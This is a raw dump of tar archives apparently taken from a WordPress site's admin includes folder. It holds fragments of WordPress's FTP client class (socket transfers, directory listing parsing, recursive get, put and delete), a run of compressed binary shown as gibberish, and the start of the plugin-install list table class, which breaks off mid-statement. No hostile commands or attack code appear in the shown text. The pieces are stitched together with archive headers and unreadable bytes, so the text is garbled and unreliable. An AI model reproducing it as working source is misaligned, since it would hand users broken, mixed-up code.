'.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } } return TRUE; } function _data_read($mode=FTP_ASCII, $fp=NULL) { $NewLine=$this->_eol_code[$this->OS_local]; if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); if($this->_ftp_temp_sock===FALSE) { $this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return FALSE; } } while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) { if($block==="") break; if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); else $out.=$block; } return $out; } function _data_write($mode=FTP_ASCII, $fp=NULL) { $NewLine=$this->_eol_code[$this->OS_local]; if(is_resource($fp)) $out=0; else $out=""; if(!$this->_passive) { $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); if($this->_ftp_temp_sock===FALSE) { $this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return false; } } if(is_resource($fp)) { while(!feof($fp)) { $block=fread($fp, $this->_ftp_buff_size); if(!$this->_data_write_block($mode, $block)) return false; } } elseif(!$this->_data_write_block($mode, $fp)) return false; return true; } function _data_write_block($mode, $block) { if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); do { if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) { $this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock))); $this->_data_close(); return FALSE; } $block=substr($block, $t); } while(!empty($block)); return true; } function _data_close() { @socket_close($this->_ftp_temp_sock); @socket_close($this->_ftp_data_sock); $this->SendMSG("Disconnected data from remote host"); return TRUE; } function _quit() { if($this->_connected) { @socket_close($this->_ftp_control_sock); $this->_connected=false; $this->SendMSG("Socket closed"); } } } ?> class-ftp.php.tar000064400000071000152377531730007751 0ustar00home/quizenacom/public_html/wp-admin/includes/class-ftp.php000064400000065251152377461040020122 0ustar00LocalEcho=$le; $this->Verbose=$verb; $this->_lastaction=NULL; $this->_error_array=array(); $this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n"); $this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY); $this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS'); $this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT"); $this->_port_available=($port_mode==TRUE); $this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support")); $this->_connected=FALSE; $this->_ready=FALSE; $this->_can_restore=FALSE; $this->_code=0; $this->_message=""; $this->_ftp_buff_size=4096; $this->_curtype=NULL; $this->SetUmask(0022); $this->SetType(FTP_AUTOASCII); $this->SetTimeout(30); $this->Passive(!$this->_port_available); $this->_login="anonymous"; $this->_password="anon@ftp.com"; $this->_features=array(); $this->OS_local=FTP_OS_Unix; $this->OS_remote=FTP_OS_Unix; $this->features=array(); if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows; elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac; } function ftp_base($port_mode=FALSE) { $this->__construct($port_mode); } // // // function parselisting($line) { $is_windows = ($this->OS_remote == FTP_OS_Windows); if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|) +(.+)/",$line,$lucifer)) { $b = array(); if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix $b['isdir'] = ($lucifer[7]==""); if ( $b['isdir'] ) $b['type'] = 'd'; else $b['type'] = 'f'; $b['size'] = $lucifer[7]; $b['month'] = $lucifer[1]; $b['day'] = $lucifer[2]; $b['year'] = $lucifer[3]; $b['hour'] = $lucifer[4]; $b['minute'] = $lucifer[5]; $b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]); $b['am/pm'] = $lucifer[6]; $b['name'] = $lucifer[8]; } else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) { //echo $line."\n"; $lcount=count($lucifer); if ($lcount<8) return ''; $b = array(); $b['isdir'] = $lucifer[0][0] === "d"; $b['islink'] = $lucifer[0][0] === "l"; if ( $b['isdir'] ) $b['type'] = 'd'; elseif ( $b['islink'] ) $b['type'] = 'l'; else $b['type'] = 'f'; $b['perms'] = $lucifer[0]; $b['number'] = $lucifer[1]; $b['owner'] = $lucifer[2]; $b['group'] = $lucifer[3]; $b['size'] = $lucifer[4]; if ($lcount==8) { sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']); sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']); $b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']); $b['name'] = $lucifer[7]; } else { $b['month'] = $lucifer[5]; $b['day'] = $lucifer[6]; if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) { $b['year'] = gmdate("Y"); $b['hour'] = $l2[1]; $b['minute'] = $l2[2]; } else { $b['year'] = $lucifer[7]; $b['hour'] = 0; $b['minute'] = 0; } $b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute'])); $b['name'] = $lucifer[8]; } } return $b; } function SendMSG($message = "", $crlf=true) { if ($this->Verbose) { echo $message.($crlf?CRLF:""); flush(); } return TRUE; } function SetType($mode=FTP_AUTOASCII) { if(!in_array($mode, $this->AuthorizedTransferMode)) { $this->SendMSG("Wrong type"); return FALSE; } $this->_type=$mode; $this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) ); return TRUE; } function _settype($mode=FTP_ASCII) { if($this->_ready) { if($mode==FTP_BINARY) { if($this->_curtype!=FTP_BINARY) { if(!$this->_exec("TYPE I", "SetType")) return FALSE; $this->_curtype=FTP_BINARY; } } elseif($this->_curtype!=FTP_ASCII) { if(!$this->_exec("TYPE A", "SetType")) return FALSE; $this->_curtype=FTP_ASCII; } } else return FALSE; return TRUE; } function Passive($pasv=NULL) { if(is_null($pasv)) $this->_passive=!$this->_passive; else $this->_passive=$pasv; if(!$this->_port_available and !$this->_passive) { $this->SendMSG("Only passive connections available!"); $this->_passive=TRUE; return FALSE; } $this->SendMSG("Passive mode ".($this->_passive?"on":"off")); return TRUE; } function SetServer($host, $port=21, $reconnect=true) { if(!is_long($port)) { $this->verbose=true; $this->SendMSG("Incorrect port syntax"); return FALSE; } else { $ip=@gethostbyname($host); $dns=@gethostbyaddr($host); if(!$ip) $ip=$host; if(!$dns) $dns=$host; // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid $ipaslong = ip2long($ip); if ( ($ipaslong == false) || ($ipaslong === -1) ) { $this->SendMSG("Wrong host name/address \"".$host."\""); return FALSE; } $this->_host=$ip; $this->_fullhost=$dns; $this->_port=$port; $this->_dataport=$port-1; } $this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\""); if($reconnect){ if($this->_connected) { $this->SendMSG("Reconnecting"); if(!$this->quit(FTP_FORCE)) return FALSE; if(!$this->connect()) return FALSE; } } return TRUE; } function SetUmask($umask=0022) { $this->_umask=$umask; umask($this->_umask); $this->SendMSG("UMASK 0".decoct($this->_umask)); return TRUE; } function SetTimeout($timeout=30) { $this->_timeout=$timeout; $this->SendMSG("Timeout ".$this->_timeout); if($this->_connected) if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE; return TRUE; } function connect($server=NULL) { if(!empty($server)) { if(!$this->SetServer($server)) return false; } if($this->_ready) return true; $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]); if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) { $this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\""); return FALSE; } $this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting."); do { if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; $this->_lastaction=time(); } while($this->_code<200); $this->_ready=true; $syst=$this->systype(); if(!$syst) $this->SendMSG("Cannot detect remote OS"); else { if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows; elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac; elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix; else $this->OS_remote=FTP_OS_Mac; $this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]); } if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled"); else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); return TRUE; } function quit($force=false) { if($this->_ready) { if(!$this->_exec("QUIT") and !$force) return FALSE; if(!$this->_checkCode() and !$force) return FALSE; $this->_ready=false; $this->SendMSG("Session finished"); } $this->_quit(); return TRUE; } function login($user=NULL, $pass=NULL) { if(!is_null($user)) $this->_login=$user; else $this->_login="anonymous"; if(!is_null($pass)) $this->_password=$pass; else $this->_password="anon@anon.com"; if(!$this->_exec("USER ".$this->_login, "login")) return FALSE; if(!$this->_checkCode()) return FALSE; if($this->_code!=230) { if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE; if(!$this->_checkCode()) return FALSE; } $this->SendMSG("Authentication succeeded"); if(empty($this->_features)) { if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled"); else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); } return TRUE; } function pwd() { if(!$this->_exec("PWD", "pwd")) return FALSE; if(!$this->_checkCode()) return FALSE; return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message); } function cdup() { if(!$this->_exec("CDUP", "cdup")) return FALSE; if(!$this->_checkCode()) return FALSE; return true; } function chdir($pathname) { if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function rmdir($pathname) { if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function mkdir($pathname) { if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function rename($from, $to) { if(!$this->_exec("RNFR ".$from, "rename")) return FALSE; if(!$this->_checkCode()) return FALSE; if($this->_code==350) { if(!$this->_exec("RNTO ".$to, "rename")) return FALSE; if(!$this->_checkCode()) return FALSE; } else return FALSE; return TRUE; } function filesize($pathname) { if(!isset($this->_features["SIZE"])) { $this->PushError("filesize", "not supported by server"); return FALSE; } if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE; if(!$this->_checkCode()) return FALSE; return preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message); } function abort() { if(!$this->_exec("ABOR", "abort")) return FALSE; if(!$this->_checkCode()) { if($this->_code!=426) return FALSE; if(!$this->_readmsg("abort")) return FALSE; if(!$this->_checkCode()) return FALSE; } return true; } function mdtm($pathname) { if(!isset($this->_features["MDTM"])) { $this->PushError("mdtm", "not supported by server"); return FALSE; } if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE; if(!$this->_checkCode()) return FALSE; $mdtm = preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message); $date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d"); $timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]); return $timestamp; } function systype() { if(!$this->_exec("SYST", "systype")) return FALSE; if(!$this->_checkCode()) return FALSE; $DATA = explode(" ", $this->_message); return array($DATA[1], $DATA[3]); } function delete($pathname) { if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function site($command, $fnction="site") { if(!$this->_exec("SITE ".$command, $fnction)) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function chmod($pathname, $mode) { if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE; return TRUE; } function restore($from) { if(!isset($this->_features["REST"])) { $this->PushError("restore", "not supported by server"); return FALSE; } if($this->_curtype!=FTP_BINARY) { $this->PushError("restore", "cannot restore in ASCII mode"); return FALSE; } if(!$this->_exec("REST ".$from, "resore")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function features() { if(!$this->_exec("FEAT", "features")) return FALSE; if(!$this->_checkCode()) return FALSE; $f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY); $this->_features=array(); foreach($f as $k=>$v) { $v=explode(" ", trim($v)); $this->_features[array_shift($v)]=$v; } return true; } function rawlist($pathname="", $arg="") { return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist"); } function nlist($pathname="", $arg="") { return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist"); } function is_exists($pathname) { return $this->file_exists($pathname); } function file_exists($pathname) { $exists=true; if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE; else { if(!$this->_checkCode()) $exists=FALSE; $this->abort(); } if($exists) $this->SendMSG("Remote file ".$pathname." exists"); else $this->SendMSG("Remote file ".$pathname." does not exist"); return $exists; } function fget($fp, $remotefile, $rest=0) { if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("RETR ".$remotefile, "get")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $out=$this->_data_read($mode, $fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $out; } function get($remotefile, $localfile=NULL, $rest=0) { if(is_null($localfile)) $localfile=$remotefile; if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten"); $fp = @fopen($localfile, "w"); if (!$fp) { $this->PushError("get","cannot open local file", "Cannot create \"".$localfile."\""); return FALSE; } if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { fclose($fp); return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("RETR ".$remotefile, "get")) { $this->_data_close(); fclose($fp); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); fclose($fp); return FALSE; } $out=$this->_data_read($mode, $fp); fclose($fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $out; } function fput($remotefile, $fp, $rest=0) { if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("STOR ".$remotefile, "put")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ret=$this->_data_write($mode, $fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $ret; } function put($localfile, $remotefile=NULL, $rest=0) { if(is_null($remotefile)) $remotefile=$localfile; if (!file_exists($localfile)) { $this->PushError("put","cannot open local file", "No such file or directory \"".$localfile."\""); return FALSE; } $fp = @fopen($localfile, "r"); if (!$fp) { $this->PushError("put","cannot open local file", "Cannot read file \"".$localfile."\""); return FALSE; } if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($localfile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { fclose($fp); return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("STOR ".$remotefile, "put")) { $this->_data_close(); fclose($fp); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); fclose($fp); return FALSE; } $ret=$this->_data_write($mode, $fp); fclose($fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $ret; } function mput($local=".", $remote=NULL, $continious=false) { $local=realpath($local); if(!@file_exists($local)) { $this->PushError("mput","cannot open local folder", "Cannot stat folder \"".$local."\""); return FALSE; } if(!is_dir($local)) return $this->put($local, $remote); if(empty($remote)) $remote="."; elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE; if($handle = opendir($local)) { $list=array(); while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") $list[]=$file; } closedir($handle); } else { $this->PushError("mput","cannot open local folder", "Cannot read folder \"".$local."\""); return FALSE; } if(empty($list)) return TRUE; $ret=true; foreach($list as $el) { if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el); else $t=$this->put($local."/".$el, $remote."/".$el); if(!$t) { $ret=FALSE; if(!$continious) break; } } return $ret; } function mget($remote, $local=".", $continious=false) { $list=$this->rawlist($remote, "-lA"); if($list===false) { $this->PushError("mget","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents"); return FALSE; } if(empty($list)) return true; if(!@file_exists($local)) { if(!@mkdir($local)) { $this->PushError("mget","cannot create local folder", "Cannot create folder \"".$local."\""); return FALSE; } } foreach($list as $k=>$v) { $list[$k]=$this->parselisting($v); if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $el) { if($el["type"]=="d") { if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) { $this->PushError("mget", "cannot copy folder", "Cannot copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } else { if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) { $this->PushError("mget", "cannot copy file", "Cannot copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } @chmod($local."/".$el["name"], $el["perms"]); $t=strtotime($el["date"]); if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t); } return $ret; } function mdel($remote, $continious=false) { $list=$this->rawlist($remote, "-la"); if($list===false) { $this->PushError("mdel","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents"); return false; } foreach($list as $k=>$v) { $list[$k]=$this->parselisting($v); if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $el) { if ( empty($el) ) continue; if($el["type"]=="d") { if(!$this->mdel($remote."/".$el["name"], $continious)) { $ret=false; if(!$continious) break; } } else { if (!$this->delete($remote."/".$el["name"])) { $this->PushError("mdel", "cannot delete file", "Cannot delete remote file \"".$remote."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } } if(!$this->rmdir($remote)) { $this->PushError("mdel", "cannot delete folder", "Cannot delete remote folder \"".$remote."/".$el["name"]."\""); $ret=false; } return $ret; } function mmkdir($dir, $mode = 0777) { if(empty($dir)) return FALSE; if($this->is_exists($dir) or $dir == "/" ) return TRUE; if(!$this->mmkdir(dirname($dir), $mode)) return false; $r=$this->mkdir($dir, $mode); $this->chmod($dir,$mode); return $r; } function glob($pattern, $handle=NULL) { $path=$output=null; if(PHP_OS=='WIN32') $slash='\\'; else $slash='/'; $lastpos=strrpos($pattern,$slash); if(!($lastpos===false)) { $path=substr($pattern,0,-$lastpos-1); $pattern=substr($pattern,$lastpos); } else $path=getcwd(); if(is_array($handle) and !empty($handle)) { foreach($handle as $dir) { if($this->glob_pattern_match($pattern,$dir)) $output[]=$dir; } } else { $handle=@opendir($path); if($handle===false) return false; while($dir=readdir($handle)) { if($this->glob_pattern_match($pattern,$dir)) $output[]=$dir; } closedir($handle); } if(is_array($output)) return $output; return false; } function glob_pattern_match($pattern,$subject) { $out=null; $chunks=explode(';',$pattern); foreach($chunks as $pattern) { $escape=array('$','^','.','{','}','(',')','[',']','|'); while(strpos($pattern,'**')!==false) $pattern=str_replace('**','*',$pattern); foreach($escape as $probe) $pattern=str_replace($probe,"\\$probe",$pattern); $pattern=str_replace('?*','*', str_replace('*?','*', str_replace('*',".*", str_replace('?','.{1,1}',$pattern)))); $out[]=$pattern; } if(count($out)==1) return($this->glob_regexp("^$out[0]$",$subject)); else { foreach($out as $tester) // TODO: This should probably be glob_regexp(), but needs tests. if($this->my_regexp("^$tester$",$subject)) return true; } return false; } function glob_regexp($pattern,$subject) { $sensitive=(PHP_OS!='WIN32'); return ($sensitive? preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $subject ) : preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $subject ) ); } function dirlist($remote) { $list=$this->rawlist($remote, "-la"); if($list===false) { $this->PushError("dirlist","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents"); return false; } $dirlist = array(); foreach($list as $k=>$v) { $entry=$this->parselisting($v); if ( empty($entry) ) continue; if($entry["name"]=="." or $entry["name"]=="..") continue; $dirlist[$entry['name']] = $entry; } return $dirlist; } // // // function _checkCode() { return ($this->_code<400 and $this->_code>0); } function _list($arg="", $cmd="LIST", $fnction="_list") { if(!$this->_data_prepare()) return false; if(!$this->_exec($cmd.$arg, $fnction)) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $out=""; if($this->_code<200) { $out=$this->_data_read(); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; if($out === FALSE ) return FALSE; $out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY); // $this->SendMSG(implode($this->_eol_code[$this->OS_local], $out)); } return $out; } // // // // Gnre une erreur pour traitement externe la classe function PushError($fctname,$msg,$desc=false){ $error=array(); $error['time']=time(); $error['fctname']=$fctname; $error['msg']=$msg; $error['desc']=$desc; if($desc) $tmp=' ('.$desc.')'; else $tmp=''; $this->SendMSG($fctname.': '.$msg.$tmp); return(array_push($this->_error_array,$error)); } // Rcupre une erreur externe function PopError(){ if(count($this->_error_array)) return(array_pop($this->_error_array)); else return(false); } } $mod_sockets = extension_loaded( 'sockets' ); if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) { $prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : ''; @dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.dlDeprecated $mod_sockets = extension_loaded( 'sockets' ); } require_once __DIR__ . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php"; if ( $mod_sockets ) { class ftp extends ftp_sockets {} } else { class ftp extends ftp_pure {} } taxonomy.php.php.tar.gz000064400000004574152377531730011154 0ustar00ZyoFϿ֧F)i@,A6IS*6\F=M*wceΦ7VФ̧U{$^7y6Tibʋ$k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gc;ȏ݊JKx.=rU)]vjN"%ďΩ{5 YiV8mՁ;w\. ^ §kзqNj/He +6]\4m¢,o}{G[Ф~@o(uMXmCVvYtцNJQf}HRӸe)[G|8FUթk0E/.@Р[C9ܣmJz+>oϚ)ZCZG08YgGd6/86ؽLM%ڳf瞒2cd\~'"O$8@O,;1 پ@(Pof=\>d~ 9 #;g u~e-sW)NJ#ߖdحcg !@, Q3t me^ /5(nh g!dٓ_k}zM{%ju[B*zvS f (4 x =qv:vhԕ} 3syU6aD in@1:"8Z3:eSubOQxq) ^&zbBL[MaI6,'tF6^)2[5hs$[[v}3p/L,z ^udT>4F*#\T8,]XBxT}3%@8uXj( 5(s sg(3A*r߁jW7 _8ƻHZݹ1` {l>,%#ts`LU{====6Fclass-wp-plugin-install-list-table.php.tar000064400000063000152377531730014605 0ustar00home/quizenacom/public_html/wp-admin/includes/class-wp-plugin-install-list-table.php000064400000057475152377531670024775 0ustar00no_update ) ) { foreach ( $plugin_info->no_update as $plugin ) { if ( isset( $plugin->slug ) ) { $plugin->upgrade = false; $plugins[ $plugin->slug ] = $plugin; } } } if ( isset( $plugin_info->response ) ) { foreach ( $plugin_info->response as $plugin ) { if ( isset( $plugin->slug ) ) { $plugin->upgrade = true; $plugins[ $plugin->slug ] = $plugin; } } } return $plugins; } /** * Return a list of slugs of installed plugins, if known. * * Uses the transient data from the updates API to determine the slugs of * known installed plugins. This might be better elsewhere, perhaps even * within get_plugins(). * * @since 4.0.0 * * @return array */ protected function get_installed_plugin_slugs() { return array_keys( $this->get_installed_plugins() ); } /** * @global array $tabs * @global string $tab * @global int $paged * @global string $type * @global string $term */ public function prepare_items() { include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; global $tabs, $tab, $paged, $type, $term; wp_reset_vars( array( 'tab' ) ); $paged = $this->get_pagenum(); $per_page = 36; // These are the tabs which are shown on the page. $tabs = array(); if ( 'search' === $tab ) { $tabs['search'] = __( 'Search Results' ); } if ( 'beta' === $tab || false !== strpos( get_bloginfo( 'version' ), '-' ) ) { $tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' ); } $tabs['featured'] = _x( 'Featured', 'Plugin Installer' ); $tabs['popular'] = _x( 'Popular', 'Plugin Installer' ); $tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' ); $tabs['favorites'] = _x( 'Favorites', 'Plugin Installer' ); if ( current_user_can( 'upload_plugins' ) ) { // No longer a real tab. Here for filter compatibility. // Gets skipped in get_views(). $tabs['upload'] = __( 'Upload Plugin' ); } $nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item. /** * Filters the tabs shown on the Add Plugins screen. * * @since 2.7.0 * * @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include * 'featured', 'popular', 'recommended', 'favorites', and 'upload'. */ $tabs = apply_filters( 'install_plugins_tabs', $tabs ); /** * Filters tabs not associated with a menu item on the Add Plugins screen. * * @since 2.7.0 * * @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen. */ $nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs ); // If a non-valid menu tab has been selected, And it's not a non-menu action. if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) { $tab = key( $tabs ); } $installed_plugins = $this->get_installed_plugins(); $args = array( 'page' => $paged, 'per_page' => $per_page, // Send the locale to the API so it can provide context-sensitive results. 'locale' => get_user_locale(), ); switch ( $tab ) { case 'search': $type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term'; $term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : ''; switch ( $type ) { case 'tag': $args['tag'] = sanitize_title_with_dashes( $term ); break; case 'term': $args['search'] = $term; break; case 'author': $args['author'] = $term; break; } break; case 'featured': case 'popular': case 'new': case 'beta': $args['browse'] = $tab; break; case 'recommended': $args['browse'] = $tab; // Include the list of installed plugins so we can get relevant results. $args['installed_plugins'] = array_keys( $installed_plugins ); break; case 'favorites': $action = 'save_wporg_username_' . get_current_user_id(); if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) { $user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' ); // If the save url parameter is passed with a falsey value, don't save the favorite user. if ( ! isset( $_GET['save'] ) || $_GET['save'] ) { update_user_meta( get_current_user_id(), 'wporg_favorites', $user ); } } else { $user = get_user_option( 'wporg_favorites' ); } if ( $user ) { $args['user'] = $user; } else { $args = false; } add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 ); break; default: $args = false; break; } /** * Filters API request arguments for each Add Plugins screen tab. * * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs. * * Possible hook names include: * * - `install_plugins_table_api_args_favorites` * - `install_plugins_table_api_args_featured` * - `install_plugins_table_api_args_popular` * - `install_plugins_table_api_args_recommended` * - `install_plugins_table_api_args_upload` * - `install_plugins_table_api_args_search` * - `install_plugins_table_api_args_beta` * * @since 3.7.0 * * @param array|false $args Plugin install API arguments. */ $args = apply_filters( 